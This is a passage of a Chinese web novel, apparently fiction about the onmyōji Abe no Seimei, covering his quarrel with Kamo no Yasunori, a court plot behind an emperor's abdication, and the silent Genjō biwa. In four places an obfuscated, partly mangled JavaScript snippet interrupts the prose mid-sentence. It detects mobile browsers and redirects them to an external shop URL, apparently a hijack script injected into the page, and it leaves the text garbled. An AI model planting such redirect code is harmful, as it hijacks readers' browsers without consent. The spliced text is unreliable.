晴明敢这样做,自然也有他的道理,座敷童子这种鬼怪天生不懂害人,更何况现在还被他除去了怨气,就算是要报复佐藤诚,也不过是做些无伤大雅的恶作剧而已,不至于闹得鸡犬不宁。 横竖闹不大,晴明不介意借这个机会来捉弄一下这个贪得无厌的家伙。 接下来的几天里,晴明都躲在佐藤宅附近,暗中听着里面的动静。 好在,事情如他所料,座敷童子挣脱了封印之后,仅仅只会在夜里弄出些动静,不准佐藤诚安睡而已。 而佐藤诚心中有鬼,再加上之前几乎已把平安京的阴阳师找了个遍,此时自然就不敢再去叫阴阳师来降伏座敷童子。 第五天清晨,晴明见到座敷童子从佐藤宅里出来,走到他面前,恭恭敬敬地鞠了一躬。 “谢谢您救我,这位大人。”座敷童子的嗓音有些喑哑,大概是很久没有说过话的缘故。 “接下来打算去哪儿?”晴明微微一笑,摸出蝙蝠扇来摇了摇。 “或许别处还有需要我的地方,我要去看看。”座敷童子答道。 “他们这样对你,你不恨人类?” 座敷童子笑了,说:“这是我自己的不幸,于人类何干?” 晴明对这个回答并不意外,座敷童子原本就是早夭的孩子,因为不希望其他人陷入不幸而形成的妖怪,它们天性良善,除非堕落成为恶鬼,否则它们是不会轻易怨恨人类的。 不过,了解是一回事,但真正见到,又是另一回事。 这个座敷童子总能让他想起明美。 明美当初是怀着什么样的心情去为他父亲安倍益材复仇的呢? 他不知道,也永远不会知道了。 “去吧。”晴明朝座敷童子点了点头,而座敷童子再次鞠了一躬,转身离去。 晴明微微一叹,也回了戾桥。 希望这个孩子不要再面对人类的恶意了。 谁也不知道自己未来会经历什么,即便是精通占卜的安倍晴明也一样。 安倍晴明,从来算不出自己的命运。 48.刺猬 座敷童子离开之后,晴明继续在佐藤宅外发了一会儿怔。 卢屋道满离开平安京已经十年了。 晴明原本以为自己已经逐渐淡忘了这个人的存在,但事实却证明并不是这样。 仇恨经历过了时间之后,反而变得愈加浓烈。 晴明微微闭了闭眼,摸出折扇来摇了摇。 十年前,他是打算要揭露卢屋道满的罪行,叫天皇来判决的。 他本以为这样就可以让他的仇恨平息,但他万万没有想到,要做到这一点,竟然会让他的恩师贺茂忠行付出生命的代价。 卢屋道满背负着杀死贺茂忠行的罪名,离开平安京不知所踪。 直到今日。 贺茂忠行的死无疑是让晴明对卢屋道满的恨意又加深了一层,他原本想去寻找卢屋道满,但由于戾桥封印存在的缘故,晴明不敢长时间离开平安京,这件事只得一直搁置下来。 晴明深深叹了口气,正打算回戾桥,没想到迎面撞上了佐藤诚。 “……”对着佐藤诚,晴明连一个客套的假笑都懒得给,他冷着脸,道声:“借过。”然后稍微侧了侧身,想从佐藤诚身边过去。 “安倍晴明!”佐藤诚面有愠色,猛地抬脚踩住了晴明衣服的后裾,不让他离开。 “你竟敢放走它!”佐藤诚逼近晴明,指着鼻子大骂:“你一个不知是人是妖的怪物,也敢断我财路!” 佐藤诚这话一出口,晴明的眼神一下子变得有些可怕,他冷冷地注视着佐藤诚,而后者不由得打了个寒噤,忽然之间产生了被某种食肉的危险动物盯上的错觉。 在某一个瞬间,晴明的瞳孔似乎变成了野兽一般的竖瞳,不过很快又恢复了正常。 无论到什么时候,永远都有人利用当年的流言来攻讦他。 不过晴明早已不是当年那个面对流言不知所措的孩子了。 “既然知道我是白狐公子,”晴明眯了眯眼睛,故意让自己的面孔看起来更像狐狸,冷声道:“你还敢对我不敬?” “狐狸可是很记仇的。”晴明冷冷地瞟了佐藤诚一眼,随口念了句咒,这一个“晴明”便化作了纸人,而真正的晴明则出现在佐藤诚身后不远处。 而还没等佐藤诚反应过来,他脚底的纸人就自己烧了起来,还燎着了佐藤诚的衣服。 晴明手中捏着折扇,看着佐藤诚慌乱地拍打着身上的火焰,但那火黏着性极强,不仅不易扑灭, 而且愈演愈烈。 “你这个怪物!你到底做了什么!”佐藤诚又惊又怒,破口大骂。 晴明啪地一声展开折扇,挡住唇角似有似无的笑意,他说:“是啊,我就是怪物。而怪物无论做出什么事来,不都是理所应当吗?” “晴明,住手!”远远地传来了呵斥声,稍稍有些耳熟。 贺茂保宪身着纯黑色的狩衣,疾步走来。 他身后还跟着个六七岁模样的孩子,一样穿着狩衣,怀里抱着柄修长的武士刀。 “师兄也太小心了,鬼火而已,烧不死人。”晴明虽然口中这样说,但还是很快念咒熄灭了火焰。 贺茂保宪瞪了晴明一眼,转身朝佐藤诚深鞠一躬,道:“我师弟晴明性子一向顽劣,还请佐藤君休怪。” 佐藤诚冷哼一声,也不还礼,转身就走。 “你迟早会给自己惹出麻烦。”佐藤诚离开之后,贺茂保宪才又对晴明说:“别再这样做了,这些人都是京中的权贵,你开罪不起的。” 而晴明对此置若罔闻,弯腰摸了摸保宪身后抱剑的孩子的头发,笑道:“这是你儿子贺茂光荣?这段时间不见,倒是长高了不少。” “我在和你说话,晴明。”保宪稍稍提高了嗓音。 晴明这才直起腰,静静地望着保宪,半晌才低声说:“你不必再来管我的事,再和我扯上关系的话,恐怕你还会倒霉的。” “我不想害了你,师兄。” “这说得是什么话,我怎么可能不管你。”保宪摇头道:“当年的那些事,我知道你心中有怨,但是无论如何,你都不要这样作践你自己。” “他们不了解你,但是我知道。”保宪道:“你不是什么‘白狐公子’,更不是妖怪,所以,我恳求你,不要再去做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16869765|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那些会让人误会你的事了。” “你不是我,师兄。”晴明叹了一声,道:“所以你不理解我为什么要这样做。” “但是师兄你放心,我知道自己在做什么,也清楚我这样做可能引起的后果。”晴明低声说:“我现在孤身一人,无论什么代价,我都付得起。” “你!”保宪怒道:“这就是你和我断绝来往的原因吗?” “没错,师兄,对不起。”晴明最后向保宪鞠了一躬,转身走开了。 刺猬背上长满了尖刺,其实也只不过是为了保护柔软的腹部而已。 几天后,平安京举行祓禊仪式。 和往年一样,祓禊是由贺茂保宪来主持。 贺茂忠行过世,卢屋道满逃离平安京,现在京中能力最强的阴阳师只剩下得到了贺茂忠行真传的贺茂保宪和安倍晴明两人而已。 而安倍晴明向来声名不佳,时常传出安倍晴明戏弄贵族的传闻,祓禊这种重要的仪式当然不可能交给他来操办。 晴明立在人群中,远远地望着保宪。 事实上,如果他愿意,他完全可以取得比保宪高得多的成就。 但是无数次机会,都被他主动放弃了。 无论怎样,他都不可能再去和他的师兄争什么的。 保宪站在天皇面前,站在万众瞩目之下。 当年捧剑的孩子已长成了青年,早已学会了气定神闲。 他喃喃地念咒,召来百鬼之后,从自己身后的孩子手里接过武士刀,划开了自己的手掌。 晴明远远望着这一切,一如二十年前,他第一次见到贺茂忠行的时候。 仿佛什么都没变。 可是终究沧海桑田。 有狰狞的小鬼拿了祭品却没有吃,往晴明的方向走了几步,似乎是想把祭品送给晴明。 “……”晴明微微一笑,随口念了句咒,然后朝那小鬼摇了摇头,对方立刻就老实了下来,原地坐下贪婪地舔舐着祭品表面沾染的保宪的血。 保宪似有所悟,抬起头往晴明的方向望了望。 但晴明早已经走开了。 49.权术 戾桥位于平安京外围,本就少有人来,而自从阴阳师安倍晴明迁居于此以来,大家对这里便更加避之唯恐不及了。 平安京中一直流传着“阴阳师安倍晴明是白狐之子”的传言,而他本人的行径似乎更印证了此人与常人不同。 他宅院的大门向来无人看管,却能在客人前来造访的时候自动开合;庭院中栽种的花卉从不依照时令,春樱、夏荷、秋菊、冬梅竟然可以同时绽放;家中明明除了安倍晴明之外并没有旁人,竟然还能不时传出陌生的脚步声和说笑的声音,更何况他时不时还会对客人戏耍一番,而不管这客人是否手握重权…… 再后来,连安倍晴明他自己都说了,如果有人想找他帮忙占卜或是驱鬼的话,只需要站在戾桥上喊一声,他便可以听得到。 拥有这种神乎其神的阴阳术的人,恐怕是比妖鬼更加令人敬畏的存在。 大家似乎都这样认为,然后不约而同地对安倍晴明敬而远之。 不过,当然也有例外。 八百比丘尼正是晴明宅的常客。 炎炎夏日,晴明跣足披发躺在自家宅院的抱厦里,手握折扇搭在胸前,有一下没一下地轻轻摇着,眯起眼睛昏昏欲睡。 忽然,他像是听到了什么动静似的,眼睛一下子睁开了。 片刻之后,他才又放松下来,嘴唇无声地翕动着,而与此同时,宅院的大门吱呀一声自己开了。 晴明微微一叹,起身盘膝坐好,把光着的脚藏在宽大的狩衣之下,稍稍理了理散乱的头发,不过他也没有完全坐直,依然懒散地靠在抱厦侧面支撑的柱子上。 就在宅院的大门打开后不久,身着僧衣的八百比丘尼走了进来,而当她跨进宅院之后,门又自己关上了。 “我来过这么多次,每次都被你这门吓着。”八百比丘尼笑道,穿过庭院坐到了晴明身边。 晴明半阖着眼眸,懒懒地道:“那你也像他们一样,别再来了岂不是好?” “你不用来怄我,我也不上你的当。”八百比丘尼笑了笑,忽然又严肃起来:“话说回来,晴明。你真的认为你这样做合适吗?” “最近这是怎么了,你们一个两个的,都跑来问我。”晴明做了个无奈的手势,显然不打算回答八百比丘尼的话。 八百比丘尼叹气道:“不管怎么说,断绝与人的往来都不是什么好事,我希望你可以再好好考虑一下。” “即使现在不与人断绝来往,将来也必定有一天要想方设法断绝,这不是你曾经说过的话吗?”晴明抬起眼眸来说道。 八百比丘尼张口结舌。 理智上她知道这可能是唯一的解决办法,但在情感上,她还是不愿意看到晴明落到这种境地中去。 人类终究还是喜欢群居的动物,没人能想象得到八百比丘尼所经历过的孤独。 “你被迫离群索居,而我是主动选择避开人类。”晴明抬头笑了笑,道:“这样至少我还拥有表面上的选择权不是吗?” 晴明的这个笑容映在八百比丘尼眼里格外刺眼,她叹了口气,手无意识地握紧又松开,似乎是下定了什么决心,才又开口道:“你还不明白这样生活意味着什么,我不可能一直像这样陪着你,我已经找到了——” 这话说到一半,又被八百比丘尼咽了回去。 “找到什么?”晴明疑惑地歪了歪脑袋。 “没什么。”八百比丘尼摇头道:“总之,你现在这副样子,没办法让我放心。” 再等等吧,不急于告诉他那件事,还是再多陪他一段时间吧。 八百比丘尼这样想着。 晴明却不以为意,或者说,他这些年来一直都是对任何事都不太在意的态度。 在贺茂忠行死去之后,他似乎对很多事都没了什么兴趣。 他原本就是偏冷淡的性子,在屡遭异变之后,他的这种脾性便越发显现了出来。 除开八百比丘尼之外,保宪也来找过晴明几次,不过他近年来时常随侍天皇,再加上晴明有意疏远,他与晴明之间的关系也逐渐淡漠了下来。 所以,当保宪造访晴明宅的时候,晴明颇有些意外。 保宪是来提醒,或者说是来警告晴明的。 保宪所说的这件事,晴明倒也有所耳闻,无非也就是天皇的一个宠妃病逝,这种事按照常理而言根本掀不起什么水花来,大家听说之后最多也不过感叹一句红颜薄命。 但这问题就出在,当今在位的这位天皇陛下,是个出了名的痴情种子。 当初为了各色美人也不知做了多少荒唐事,而死去的这位妃子,不巧正是天皇陛下三宫六院之中,最宠爱的那个。 而现在这位天皇陛下,不知从哪儿听来的传说,竟相信只要他出家剃度为僧,他的妃子的鬼魂便会从冥界归来,再度与他相聚。 也不知对这位天皇陛下而言,到底是江山重要还是美人更重要些。 这件事当然会在平安京引起轩然大波,以至于远在戾桥的晴明都对此有所耳闻。 不过,晴明对这个故事一直心有疑窦,若是这位天皇真的痴情至此、宁愿抛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16877095|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弃天皇之位的话,为何还做不到专情于一人呢? 更何况,晴明记得那位短命的美人几个月前病笃,天皇还曾命他进宫去医病。 他不懂医术,但是凭借阴阳术却可以把病症转移到他人身上,前提是必须找到一个心甘情愿代替她病死的人。 然而遍寻宫中,包括天皇和这女孩的父母在内,竟没有一个人愿意替她承受疾病,晴明即使有通天的本事也无可奈何。 现在,晴明终于知道了这件事的隐情。 保宪对晴明说,此事是某位权贵一手促成的结果,那位“不能提名字的大人”不知用什么办法说服了一批阴阳师,叫他们统一口径,让天皇陛下相信所谓“只要他出家,宠妃便可以从冥界回来”的鬼话。 天皇陛下原本的打算只是象征性地出家,宠妃回来之后便还俗继续做他的天皇,但是那位“不能提名字的大人”却早已安排好了扶植太子登基的大典,只等天皇陛下一走,太子就立即登基。 “我知道你一向不喜欢听从旁人摆布。”保宪说:“但是这一次,你千万不要忤逆那位大人,那才是你真正得罪不起的人。” “如果天皇派人来问你,你务必要依照那些阴阳师的话来说,否则,你在平安京中的处境就很危险了。” 晴明抿了抿嘴唇,贺茂保宪是现今这位天皇陛下最信任的阴阳师,像这样的事,天皇在做决定之前不可能不去问保宪的意见,那也就是说,保宪在这件事中所扮演的角色就是…… 被那位“不能提名字的大人”说服、帮其蒙骗天皇的阴阳师。 不过晴明并未说破,面上毫无异样,笑道:“多谢师兄特意告知,晴明记得了。” 朝堂之上向来暗涛汹涌,谁也逃不过。 晴明尽管不喜欢这样的事,但也理解保宪的决定,在只手遮天的权贵面前,小小阴阳师根本算不得什么。 那位神秘的大人的谋算没出什么意外,十分顺利地把太子推上了天皇之位,而那些支持老天皇的臣子发觉大势已去,大部分“弃暗投明”,转而向新天皇效忠,少数顽固派选择随同老天皇一起出家,再加上新天皇即位之初便大刀阔斧地剪除了老天皇曾经的羽翼,恩威并施之下,一时间,朝堂再无人敢反对这位年轻的天皇。 新天皇即位后不久,藤原兼家便被给予了更加威重的权势,地位仅次于天皇。 从老天皇出家这件事中间获利最大的,除了新天皇之外,恐怕就是藤原兼家了。 即使藤原兼家已经是个老人,但他对权力的渴望也丝毫不减。 50.玄象 “博雅大人!您不能留着这支笛子啊!”白发苍苍的老人跪伏于地,不断说着恳求的话。 他是源氏的老仆人,几乎是看着源博雅长大,与博雅的感情极深。 博雅怀中正揣着鬼笛“叶二”打算出去,见老人这样,也于心不忍,撩起衣服下摆,和老人面对面蹲了下来。 “这笛子是我一个乐友送给我的,我不觉得有什么不妥。”博雅摸出笛子,大拇指摩挲着笛子光滑的表面。 老人颤颤巍巍地指着那笛子,声音都变了调:“这笛子!这笛子是……” 鬼笛叶二,通体漆黑,尾部雕琢着两枚栩栩如生的叶片。 如果只是这样,那倒也罢了。 但最诡异的是,每至清晨,太阳初升之际,都会有露珠缓缓从那两片叶子内部渗出、滴落。 想来,这就是那鬼公子曾经说过的,“此笛有些特异之处,日后便知”了。 博雅自己倒是不太在意,但这吓坏了源氏上下。 若不是博雅一力护着鬼笛,他的父兄恐怕早就把这支怪异的笛子丢出去了。 “你看,阴阳师都来看过了,说这笛子没什么问题。”博雅攥着笛子微微晃了晃,继续说:“那可是贺茂保宪、保宪大人。难道他的话还不可信?” 不过,在提到贺茂保宪的时候,博雅却不由自主地想起了那天出现在他面前的白衣阴阳师。 那个阴阳师和贺茂保宪比起来,不知是谁的能力更强些呢? 这个疑问刚一出现在博雅脑海中,他便立刻将其打消了,如果那个阴阳师真的身怀绝技的话,那又怎么会籍籍无名呢? 他自幼生在宫闱之中,贵为皇子,虽说年少时因不喜皇室内斗而自请降为臣籍,但毕竟也是天皇嫡系,地位举足轻重。 那些入朝为官的、稍有些名望的阴阳师他都见过,多少有些印象,可是那位月白色狩衣、面容有些像是白狐的…… 等等! 月白色狩衣、面若白狐? 博雅这才后知后觉地反应过来。 那天他遇见的恐怕是贺茂保宪的师弟、虽然很少抛头露面,但平安京中却从未少了此人传说的——神秘的“白狐公子”,安倍晴明! “不会这么巧吧。”博雅喃喃着,他揣起鬼笛,起身就要走。 他身后,老人“扑通”一声又跪了下来:“博雅大人,您不能带着这种笛子去天皇陛下的和歌宴会呀!” 不过博雅早已经大步走远了。 这是新天皇即位以来,操办的第一场大型宴会,无数公卿贵族都对此趋之若鹜,希望能借此来换取天皇的信任。 不过,博雅倒是对宴会本身兴趣不大,这宴会吸引他的唯一理由,是天皇曾亲口说过,他将会取出宫中珍藏的那面“玄象琵琶”,请众人赏鉴。 博雅爱音成痴,自然不会错过这个难得的、一睹玄象琵琶真容的机会。 百年之前,曾有使者西渡唐土,并带回了“玄象”、“青山”、“狮子丸”这三面名贵的琵琶,可惜,在使者携琵琶渡海返回日本之际,遭遇巨浪,“狮子丸”被卷入海底不知所踪,“玄象”与“青山”这两面琵琶得已幸免于难。 这百年以来,两面琵琶一直被收藏于宫中,极少取出来示人,即便是曾经贵为皇子的博雅也只远远看过几次,更不必说拿在手中弹奏了。 博雅每每与人谈及此事都要捶胸顿足,深以为人生憾事。 博雅乘牛车赴往宴会的举办地——大内清凉殿。途中,他反复摩挲着那支黑色的鬼笛,似乎是想借这样的动作来让他的心情平静下来。 “我以为你不会出现在这儿呢,晴明。” 当博雅抵达目的地下车的时候,身后一人说话的声音引起了他的注意。 更确切地说,是“晴明”这个名字引起了他的注意。 难道是安倍晴明? 博雅稍稍有些迟疑,不知道是应该继续往前走还是该回头看看。 紧接着,另一个语气中带着几分倦怠的声音说道:“我听说那位尊贵的陛下今天会把那面传说中的琵琶请出来,所以我就过来看看。” 这个声音有些耳熟,不过博雅不敢确定说话的这人就是他那天遇见的。 “别用这种口气谈论天皇陛下!” 说话的两人正是晴明和保宪,保宪见晴明满不在乎的样子,难免恼怒,低声告诫了他一句:“在这儿倒还罢了,一会儿千万别说什么胡话,也别玩你那套捉弄人的把戏!” “知道了,师兄。”晴明微微一笑,展开折扇掩住了唇角,又朝保宪身后望了一眼,问道:“今天怎么没带你儿子光荣过来?” 保宪头痛地揉了揉眉心,道:“还不是怕他年纪小闯祸。”不过,今天晴明会来倒是他没有料想到的,现在他只寄希望于晴明最好还懂得分寸,不要再当众胡闹了。 博雅终于忍不住,回头去望了一眼,恰巧正对上他身后那位身着月白色狩衣的阴阳师的视线,他立刻认出来,那个人正是那天曾经试图阻止他得到鬼笛的阴阳师! 晴明对博雅忽然回头感到意外,不过还是颔首向其致意,同时,挂上了一副礼貌却疏离的笑容,这笑容显得很假,让人明显能感觉得到,他即使在笑,那也是拒人于千里之外的意思。 总是盯着人家总归不合适,博雅扭回头,微微皱了皱眉毛。 现在的这个晴明,与他那天看到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16894235|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的相比差异很大,仿佛一下子变成了另一个人。 到底哪一个才是真正的安倍晴明? 不过当他走进清凉殿,博雅就顾不上去考虑这件事了,因为殿上正中摆放着的,正是那面一直令他魂牵梦萦的玄象琵琶! 它被盛装在一只特制的丝绸袋子中,丝绸表面纹绣着精致的花纹,不论是名贵的丝绸、还是巧夺天工的绣工,都昭示着玄象琵琶卓尔不凡。 博雅的目光几乎完全被琵琶吸引了去,甚至忘记了向天皇鞠躬致意。 好在天皇自幼同博雅一处长大,深知博雅的性子,不以为忤,笑道:“博雅卿,这玄象琵琶,可是吾特地为你取出来的宝物。它的绝妙之处,稍后再领略也不迟。” 博雅这才回过神来,脸上微微一红,连忙向天皇深鞠一躬,转身落座。 公卿和贵族很快就到齐了,天皇简单说了几句客套话便宣布开席。 众人一个接一个地起身作和歌吟唱,无非也就是什么歌功颂德之语,其中也有稍粗鄙些的,也有格调高些的。 博雅托着下巴,自斟自饮,他虽一向喜欢音乐,但极厌恶这种利用音乐来取悦他人的行为,因此,即使这些和歌再悦耳动听,在他耳中也显得俗气难耐。 他只不过是在等待这场宴会的重头戏——玄象琵琶而已。 博雅一边自顾自地饮酒,一边在人群中寻找着安倍晴明的身影,这时候,贺茂保宪忽然起身作了首和歌,于是博雅在贺茂保宪身边找到了同样显得百无聊赖的安倍晴明。 晴明微微眯着狐狸眼,虽也是正襟危坐,但总懒懒地,好像随时都会躺下来似的。 他侧过头,望着自家师兄,似乎是觉得保宪作和歌的样子很有趣,于是唇角一弯,不过很快就用折扇压了下去。 贺茂保宪所作的和歌在内容上与其他公卿大同小异,不过融进了一些阴阳师占卜中的词汇,大概意思差不多就是:他某日夜观天象,平安京一带星光熠熠,正应在天皇身上,这位新天皇将必定是位明君。 博雅很快就失去了兴趣,收回目光,继续喝起了自己的酒,偶尔对凑过来套近乎的普通贵族应付几句。 “师兄。”当保宪归座之后,晴明神秘兮兮地凑到保宪耳边,用折扇掩着嘴唇,低声道:“我怎么不记得你什么时候忽然学会观星了?” 保宪瞪了晴明一眼,没应声,而晴明也没有非要保宪回答的意思,玩笑开过之后,他便老老实实地坐了回去。 酒过三巡,天皇忽然抬手示意大家肃静,博雅连忙放下了酒杯,微微欠起身子,朝殿中央放置玄象琵琶的方向张望。 这场宴会的重头戏——玄象琵琶即将首次出现在众人面前。 51.怒而不鸣 不止博雅,几乎在场的所有人都屏息静气,等待着天皇亲手打开那只盛有玄象琵琶的丝绸袋子。 这是真正的国之珍宝,谁不想亲眼见一见呢? 就连晴明也不再流露出倦怠的神色,他合上折扇,身子微微朝前探去。 “以前怎么没见你对什么东西这样感兴趣过?”保宪看到晴明的动作,感到有些奇怪。 “这个嘛,”晴明稍稍往后退了退,慢悠悠地答:“我只不过是想知道,这玄象琵琶,到底有什么玄妙之处而已。” “你可别再做什么骇人听闻的事了。”保宪警告晴明道。 “这个自然。” 众人安静地望着天皇,而后者小心翼翼地打开了丝绸袋子,缓缓取出里面的玄象琵琶。 琵琶刚刚被取出的一瞬间,大家屏住了呼吸,就仿佛呼吸会挡住他们的视线似的。 但当他们看清楚了那面琵琶的样子,这些人又冷静了下来。 原因无它,这面琵琶,看上去实在太过于平常了些。 与想象中的精致琵琶完全不同,这琵琶表面未加任何浮华的装饰,看起来甚至与包裹着它的丝绸很不相配。 这就是传说中的玄象琵琶?看起来与普通的琵琶也没有什么分别啊。 众人面面相觑,只有两人除外。 晴明和博雅。 博雅倒也罢了,晴明此刻竟也是一副狂热的样子,紧盯着天皇手中的玄象琵琶,似乎恨不能立刻冲上去夺过琵琶来弹奏似的。 “晴明,你怎么了?”保宪察觉到晴明的神态不对劲,忙低声问道。 “没事。”晴明略微定了定神,展开折扇来摇了摇,恢复了平日里常见的冷淡神情,不过目光还牢牢锁定在玄象琵琶上。 保宪眉头紧锁,这个师弟他一向自以为很了解的,晴明虽说爱好雅乐,但远远没到狂热的程度,“为了见一见玄象琵琶而来参加这种他素日里最厌恶的宴会”这种理由根本站不住脚。 那晴明今天为何反常呢? 保宪忽然注意到,晴明用折扇轻敲了敲眉心,嘴巴张合,喃喃自语。 晴明的这个不起眼的动作提醒了保宪,他一下子明白过来。 保宪几乎是粗鲁地揪住了晴明的衣袖,用力把他的身体拽得扭转过来,强迫晴明与他面对面。 “晴明!你竟然允许鬼上你的身?”保宪死死盯着晴明,但是当然,他没有忘记压低音量。 晴明脸上露出了笑容,像是个孩子恶作剧得逞似的:“啊呀,果然瞒不住你。” “别和我来这套!”保宪涨红了脸,咬牙切齿道:“这么大的事,你居然还想瞒着我!你想没想过万一……” “这个我当然清楚。”晴明笑道:“不过,如果是要满足一个朋友成佛前的最后愿望的话,我认为冒险还是值得的。” “朋友?你的朋友是鬼?”保宪猛地抓住了晴明的衣领,逼问道:“我原本不想这样说的,但是晴明,你到底还知不知道自己是谁?” 晴明的脸一点一点冷了下来,他打落保宪的手,淡淡地说:“天皇面前,吵架不太合适吧。” 随后他就转回身,继续去看那面玄象琵琶了。 白狐之子这个身份,一向都是晴明的逆鳞,谁都触犯不得。 而保宪心神不定,一会儿朝天皇和玄象琵琶望一眼,一会儿再看看晴明冷冰冰的背影。 他忽然想到,如果晴明不是白狐之子,他还会有这样的疑问吗? 答案似乎显而易见。 那么,是什么时候起,他也成了因身份而猜忌晴明之中的一员? 他一直以为自己了解并相信晴明的为人,难道所谓的“相信”,全都是他自欺欺人而已? 还没等保宪想通这一点,天皇已经把玄象琵琶递给了一旁侍立的宫廷乐师。 乐师恭敬地接过玄象琵琶,怀抱琵琶向众人鞠躬施礼,随后才跪坐于地,抚弄起了琴弦。 然而…… 竟然根本没有乐声。 乐师额头上渐渐渗出了汗,他从未经历过这种诡异的事。 但无论他怎样卖力,这琵琶就是奏不响。 他隐隐有一种感觉,玄象琵琶似乎是在抗拒他的弹奏。 在众目睽睽之下,他仿佛在表演一场令人难堪的哑剧。 他很想停下来逃走,但是没有天皇的命令,他根本不敢丢下玄象琵琶,只能硬着头皮继续拨弄琵琶弦。 “可以了,你退下罢。”天皇的这一句话让乐师如蒙大赦,瘫倒在地。 “为何玄象琵琶会这样?莫不是沾染了什么不详之物?”天皇环顾一周,最后,目光停留在了贺茂保宪身上,显然是在等着他给出答案。 “……” 这多半是付丧神作祟,玄象琵琶在宫中闲置已久,生出付丧神也不是什么奇怪的事情。但即使保宪对此心知肚明,那也绝不能这样说。 妖鬼之物通常意味着不详, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16911958|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而在新天皇登基之际,妖鬼在众目睽睽之下作祟…… 这种事或许会被人解读成“新天皇是不详之人”的。 更何况这位新天皇名不正言不顺,在这种情况下,保宪是万万不敢提什么付丧神作祟的事的。 但是所有人的目光都聚焦在了保宪身上,他硬着头皮坐在那里,想着一会儿的措辞。 还没等保宪想清楚自己该怎样解释,晴明已经站了起来,迎着众人的目光,不慌不忙微微一笑。 他说:“玄象,意为星辰在天所成之象,其玄妙之处难以概述。而这玄象琵琶,亦有其不凡之处。” “地位卑下之人弹之,怒而不鸣;技艺浅薄之人弹之,怒而不鸣;若蒙尘垢而弹之,怒而不鸣。”晴明用折扇轻轻叩了叩手心,含笑道:“此为三不鸣。” “那依安倍卿所言,还须是擅长雅乐的公卿才能奏响玄象琵琶?” 晴明朝天皇深鞠一躬,微微笑道:“正是如此。” “那么,诸位公卿,谁愿一试?” 博雅坐在席中,正打算要起身应和天皇,就在他将起未起之际,耳边忽然响起了一个极飘渺的声音:“博雅大人,在下有个不情之请,不知您可否应允?” 那个声音,任何人只要听过一次就不会再忘记! 是曾把鬼笛叶二赠与博雅的鬼公子! “原来你还在?”博雅惊喜之余,也顾不上身边是不是还有旁人。 “在下还有最后一个愿望,故而滞留此世,不肯成佛。”鬼公子悠悠叹道:“早就听闻玄象琵琶举世无双,只可惜在下生前无缘得见,而死后又听得其他鬼魅说,这玄象琵琶有三不鸣,我地位卑下,恐怕也是奏不响玄象琵琶的。” “可否请博雅大人助我圆了此愿?”鬼公子低声道:“只是可能要冒犯博雅大人了。” “你想怎么做?”博雅不顾身边人异样的眼光,自顾自地与鬼公子对话。 “需要借助博雅大人您的身体。”鬼公子幽幽地说道:“但请博雅大人放心,在下不会与您争夺这具身体,关于这一点,那位阴阳师晴明大人可以作证。” “在下也不知玄象琵琶对于技艺的要求有多严苛,但是如果你我二人同奏,要奏响玄象琵琶,大概也是不难的。” 一想到要与鬼共享自己的身体,博雅原本有几分畏惧,但是玄象琵琶对他的诱惑却远远盖过了惧怕,他点了点头。 下一个瞬间,彻骨的寒意笼罩住了他。 52.鬼公子 博雅从来都不知道,被鬼附身的时候竟然会这样冷。 那种感觉就像是寒冬中浸泡在冰窖里一般,不,或许比那还要冷。 因为这种冷意是从身体内部涌出来的,而且源源不断。 “实在抱歉,博雅大人。”这一次,鬼公子的声音是从博雅身体内部传出来的:“如果这让您感到不适的话,我可以立刻离开您的身体。” “我……”博雅的牙齿打着战,几乎要连话也说不出了。 “果然是这样。”鬼公子轻叹一声:“普通人果然受不住鬼气呀,既然这样……” 鬼公子的话没有继续说下去,因为安倍晴明忽然走过来,探身擒住了博雅的手腕。 ! 博雅蓦然抬起头,这是安全距离被外人侵入的正常反应。 这会儿晴明脸上又挂上了那副面具似的假笑,他微微蹲下身子,右手紧紧地攥着博雅的腕部。 “如果是博雅君的话,说不定真的可以弹响玄象琵琶哦。”晴明毫不回避地注视着博雅的眼睛,脸上的笑容一成不变,但不知道为何,博雅并不反感这样的表情。 “这样的话,应该就没有什么问题了。”晴明低声道:“无论是对你,还是对他而言。” 